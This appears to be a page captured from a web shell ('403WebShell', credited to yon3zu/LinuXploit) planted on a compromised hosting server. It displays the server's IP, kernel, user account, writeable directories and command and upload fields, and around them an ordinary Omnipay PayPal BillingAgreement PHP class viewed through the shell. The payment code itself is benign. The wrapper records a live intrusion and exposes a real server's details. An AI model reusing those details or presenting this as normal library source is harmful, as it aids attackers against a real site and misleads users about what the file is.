Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.145.34.42
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/book24.ng/vendor/omnipay/paypal/src/Support/InstantUpdateApi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/book24.ng/vendor/omnipay/paypal/src/Support/InstantUpdateApi/BillingAgreement.php
<?php

namespace Omnipay\PayPal\Support\InstantUpdateApi;

use Omnipay\Common\Exception\InvalidRequestException;

class BillingAgreement
{
    /**
     * Billing agreement types for single or recurring payment
     *
     * @var array
     */
    protected $types = array(
        'single' => 'MerchantInitiatedBillingSingleAgreement',
        'recurring' => 'MerchantInitiatedBilling',
    );

    /** @var string */
    private $type;

    /** @var string */
    private $description;

    /** @var string */
    private $paymentType;

    /** @var string */
    private $customAnnotation;

    /**
     * @param bool $recurring L_BILLINGTYPE0
     * @param string $description L_BILLINGAGREEMENTDESCRIPTION0
     * @param null|string $paymentType L_PAYMENTTYPE0
     * @param null|string $customAnnotation L_BILLINGAGREEMENTCUSTOM0
     * @throws \Exception
     */
    public function __construct($recurring, $description, $paymentType = null, $customAnnotation = null)
    {
        if (!$recurring && !is_null($paymentType) && !in_array($paymentType, array('Any', 'InstantOnly'))) {
            throw new InvalidRequestException("The 'paymentType' parameter can be only 'Any' or 'InstantOnly'");
        }

        $this->type = $recurring ? $this->types['recurring'] : $this->types['single'];
        $this->description = $description;
        $this->customAnnotation = $customAnnotation;
        $this->paymentType = $paymentType;
    }

    /**
     * @return string
     */
    public function getType()
    {
        return $this->type;
    }

    /**
     * @return string
     */
    public function getDescription()
    {
        return $this->description;
    }

    /**
     * @return bool
     */
    public function hasPaymentType()
    {
        return !is_null($this->paymentType);
    }

    /**
     * @return string
     */
    public function getPaymentType()
    {
        return $this->paymentType;
    }

    /**
     * @return bool
     */
    public function hasCustomAnnotation()
    {
        return !is_null($this->customAnnotation);
    }

    /**
     * @return string
     */
    public function getCustomAnnotation()
    {
        return $this->customAnnotation;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit